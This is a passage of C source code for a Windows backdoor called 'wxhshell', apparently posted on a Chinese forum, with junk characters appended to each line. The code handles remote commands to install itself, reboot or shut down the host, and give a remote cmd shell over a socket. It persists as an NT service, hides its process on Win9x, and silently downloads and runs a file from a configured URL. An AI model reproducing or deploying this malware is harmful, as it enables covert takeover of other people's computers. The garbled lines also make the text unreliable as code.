  } (iIzoEpb8W  
  else { h 92KU  
A`"?~_pHC  
    switch(cmd[0]) { 4YoQ*NQw-  
  AUES;2WL  
  // 帮助 oE2VJKs<B  
  case '?': { 1H-~+lf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N#@v`S  
    break; '8FHn~F  
  } .v-2A);I  
  // 安装 ?y__ Vrw  
  case 'i': { tI5*0  
    if(Install()) Mb45UG#2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZE1${QFkG  
    else B>sQcZ:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hjhZ":I.  
    break; t_Rj1U  
    } ?{xD{f$  
  // 卸载 cob??|,\m  
  case 'r': { Vv+ oq5hf  
    if(Uninstall()) =#A/d `2 b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Kw&XKe`  
    else {,?Gj@$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (y1S*_D  
    break; KHGUR(\Rd6  
    } )*Wz5x  
  // 显示 wxhshell 所在路径 LI^D\  
  case 'p': { -BWWaL  
    char svExeFile[MAX_PATH]; cl |}0Q5  
    strcpy(svExeFile,"\n\r"); IRTWmT jT  
      strcat(svExeFile,ExeFile); I3}]MAE  
        send(wsh,svExeFile,strlen(svExeFile),0); }:QoYNq  
    break; N vTp1kI]  
    } G:` So  
  // 重启 KC%&or  
  case 'b': { CrG!8}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J25/Iy*byG  
    if(Boot(REBOOT)) *pABdP+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Z`|\%D%  
    else { InRcIQT  
    closesocket(wsh); L3 KJ~LI  
    ExitThread(0); ;0NJX)GL  
    } c#>:U,j  
    break; C5jt(!pi  
    } 4W<[& )7  
  // 关机 }5}>B *  
  case 'd': { [Z&<# -  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EMdU4YnE"  
    if(Boot(SHUTDOWN)) qT&zg@m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oel?we6  
    else { wD W/?lT&  
    closesocket(wsh); M(uJ'Ud/!  
    ExitThread(0); 73_-7'^mQ  
    } ;e9&WEG_\  
    break; +_QcLuV,  
    } L$@+'Qn@:  
  // 获取shell )@!T_#  
  case 's': { J3B+WD]  
    CmdShell(wsh); Z&=Oe^  
    closesocket(wsh); }mI0D >n  
    ExitThread(0); 3Jq GLR`z3  
    break; t2|0no  
  } ?FEh9l)d\  
  // 退出 |cC&,8O:{  
  case 'x': { ~PU}==*q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kV8qpw}K  
    CloseIt(wsh); : #so"O  
    break; ;ZMIYFXRqh  
    } t**d{P+  
  // 离开 m9 ]Ge]  
  case 'q': { B|{E[]iK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VW;E14  
    closesocket(wsh); M a3}w-=;  
    WSACleanup(); H6Gs&yk3  
    exit(1); h##U=`x3  
    break; n</Rd=  
        } =}Q|#C  
  } D 5:'2i  
  } Fq%NY8KNE  
+8"P*z,  
  // 提示信息 0kw)-)=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6$zd2N?  
} -3 "<znv  
  } ^g"p}zf L"  
Vi0D>4{+  
  return; QjYw^[o  
} v yt|x5  
< 'BsQHI  
// shell模块句柄 .CNwuN\  
int CmdShell(SOCKET sock) aSgKh  
{ vj]h[=:  
STARTUPINFO si; NgF"1E  
ZeroMemory(&si,sizeof(si)); bQ&%6'ck  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pd.unEWwF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )h{+pK  
PROCESS_INFORMATION ProcessInfo; x|()f 3{.  
char cmdline[]="cmd"; NJ;m&Tm,DF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P8;1,?ou  
  return 0; A]drNFE  
} QXO~DR1  
T[c-E*{hR  
// 自身启动模式  .C5JQO  
int StartFromService(void) zz(EH<>  
{ nwqA\  
typedef struct 4]-7S l,  
{ 02,.UqCz  
  DWORD ExitStatus; hF`<I.z}  
  DWORD PebBaseAddress; 'tU\~3k  
  DWORD AffinityMask; | h+vdE8  
  DWORD BasePriority; c\O2|'JzE  
  ULONG UniqueProcessId; !| - U,  
  ULONG InheritedFromUniqueProcessId; '/AX 'U8Y  
}   PROCESS_BASIC_INFORMATION; )_?h;wh 84  
.M ID)PY-  
PROCNTQSIP NtQueryInformationProcess; |ZXz&Xor  
"=JE12=u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /FC(d5I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8HHR  
vo2GFo  
  HANDLE             hProcess; m}S}fH(  
  PROCESS_BASIC_INFORMATION pbi; W5~!)Ec  
?{5}3a bB`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X|QokAR{$>  
  if(NULL == hInst ) return 0; .])X.7@x  
:VLYF$|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c%(Nd i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R|` `A5zQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <s$T7Zk  
0;`+e22  
  if (!NtQueryInformationProcess) return 0; Sq:J'%/z  
:2')`xT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zE?dQD^OD  
  if(!hProcess) return 0; 2v#gCou  
q:iu hI$~G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BMV\@Sg  
L =M'QJl9  
  CloseHandle(hProcess); v (S h+p  
rw0s$~'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  !$!%era`  
if(hProcess==NULL) return 0; KGI <G  
$j v"$0Fc  
HMODULE hMod; Y> ~jho  
char procName[255]; !@ y/{~Gu  
unsigned long cbNeeded; y7GgTC/H  
\C$cbI=;+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G-;EB  
oL<5hN*D  
  CloseHandle(hProcess); `>)pqI%L[g  
BglbQ'6p  
if(strstr(procName,"services")) return 1; // 以服务启动 +4rd N\.  
AR&l9R[{N  
  return 0; // 注册表启动 .WuSW[g  
} 4T v=sP  
*19a\m=>oi  
// 主模块 aVr=7PeF  
int StartWxhshell(LPSTR lpCmdLine) DnW/q  
{ }n'W0 Sa  
  SOCKET wsl; b^P\Q s*m  
BOOL val=TRUE; 1rLxF{,  
  int port=0; o=xMaA  
  struct sockaddr_in door; yx;K&>  
|+>U91!  
  if(wscfg.ws_autoins) Install(); =Mxu,A  
kf9]nIo  
port=atoi(lpCmdLine); P6=5:-Hh  
A:pD:}fm}D  
if(port<=0) port=wscfg.ws_port; 1F3Q^3+  
:_,3")-v  
  WSADATA data; Cn5;h(r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zG^$-L.n  
u),.q7(m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6VJS l%X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kVG+Wr7l0F  
  door.sin_family = AF_INET; >xsY"N&1i'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sr(nd35  
  door.sin_port = htons(port); b' ~WS4xlD  
XJ"xMv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l k /Ke  
closesocket(wsl); Xh/BVg7$  
return 1; ~lqNWL^l  
} Z,M2vRj"qT  
ZW@cw}  
  if(listen(wsl,2) == INVALID_SOCKET) { ,wv>G]v  
closesocket(wsl); v!3Oq.ot  
return 1; 2t>>08T  
} b5f+q:?{  
  Wxhshell(wsl); Vh]=sd<F  
  WSACleanup(); ?@MWV   
sN5Mm8~  
return 0; ,6"[vb#*3  
P:1eWP  
} %*IH~/Ld;]  
((^v sKT  
// 以NT服务方式启动 T eu.i   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G9K& }_,  
{ r/HG{XH`  
DWORD   status = 0; %/hokyx  
  DWORD   specificError = 0xfffffff; 7_rDNK@e  
Fx)><+-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b !nA.`T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `1y@c"t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ![MtJo5  
  serviceStatus.dwWin32ExitCode     = 0; Z1;+a+S=z  
  serviceStatus.dwServiceSpecificExitCode = 0; (#>Q#Izr  
  serviceStatus.dwCheckPoint       = 0; [=u@6Y  
  serviceStatus.dwWaitHint       = 0; x@pzgqi3  
:?i,!0#"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L},o;p:  
  if (hServiceStatusHandle==0) return; Mt%Q5^  
Gvr>n@n  
status = GetLastError(); o_ [I#PT  
  if (status!=NO_ERROR) :X7O4?ww  
{ zn|O)"C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C/ ]Bx  
    serviceStatus.dwCheckPoint       = 0; JxM32?Rm*w  
    serviceStatus.dwWaitHint       = 0; H$ :BJ$x@  
    serviceStatus.dwWin32ExitCode     = status; Vn_>c#B  
    serviceStatus.dwServiceSpecificExitCode = specificError; [DTe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zW.Ltz  
    return; c^5fhmlt  
  } th0>u.hJ  
ygUX]*m!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XZ3M~cD q  
  serviceStatus.dwCheckPoint       = 0; %0f*OC  
  serviceStatus.dwWaitHint       = 0; ?3v-ppw%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xZloEfv.B  
} Dr}elR>~G=  
K;TTGK  
// 处理NT服务事件,比如:启动、停止 xq%BR[1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2{g&9  
{ X6?Gxf,  
switch(fdwControl) N2u4MI2  
{ ,.L o)[(  
case SERVICE_CONTROL_STOP: Q H>g-@  
  serviceStatus.dwWin32ExitCode = 0; i A'p!l |P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jo0XOs  
  serviceStatus.dwCheckPoint   = 0; XqcNFSo)  
  serviceStatus.dwWaitHint     = 0; u=(.}  
  { 7&V3f=aj6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^6!8)7b  
  } Y&i&H=U  
  return; &G3$q,`H  
case SERVICE_CONTROL_PAUSE: 5iGz*_ m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KT<N ;[;  
  break; li} >xDSQ4  
case SERVICE_CONTROL_CONTINUE: !__^M3S,k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q"oJhxS  
  break; -^rdB6O6j  
case SERVICE_CONTROL_INTERROGATE: V:gXP1P  
  break; oV~S4|9:  
}; 8yuTT^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); owO &[D/  
} T 7M];@q  
mDWRYIuN  
// 标准应用程序主函数 #"o`'5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AJP-7PPD  
{ _Vr}ipx-k  
tZr_{F@  
// 获取操作系统版本 UXHtmi|_:  
OsIsNt=GetOsVer(); X(C=O?A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C{V,=Fo^  
sWP_fb1  
  // 从命令行安装 (IAR-957pN  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;#7:}>}rO  
.WGrzhsV  
  // 下载执行文件 01+TVWKX  
if(wscfg.ws_downexe) { D:N\K/p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c>#3{}X|x%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1Msc:7:L  
} O+~@ S~  
{ka={7  
if(!OsIsNt) { z*N%kcw"  
// 如果时win9x,隐藏进程并且设置为注册表启动 ` >k7^!Ds  
HideProc(); OX.g~M ig|  
StartWxhshell(lpCmdLine); ZVCa0Km  
} kyD*b3MN  
else XeAH.i<  
  if(StartFromService()) VS5D)5w#  
  // 以服务方式启动 ban;HGGNG{  
  StartServiceCtrlDispatcher(DispatchTable); sg_%=;  
else Qmj%otSg  
  // 普通方式启动 *47%| bf`  
  StartWxhshell(lpCmdLine); XC,by&nY<y  
I -V=Z:  
return 0; 3MHByT %  
}
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只看该作者 1 发表于: 2006-10-10
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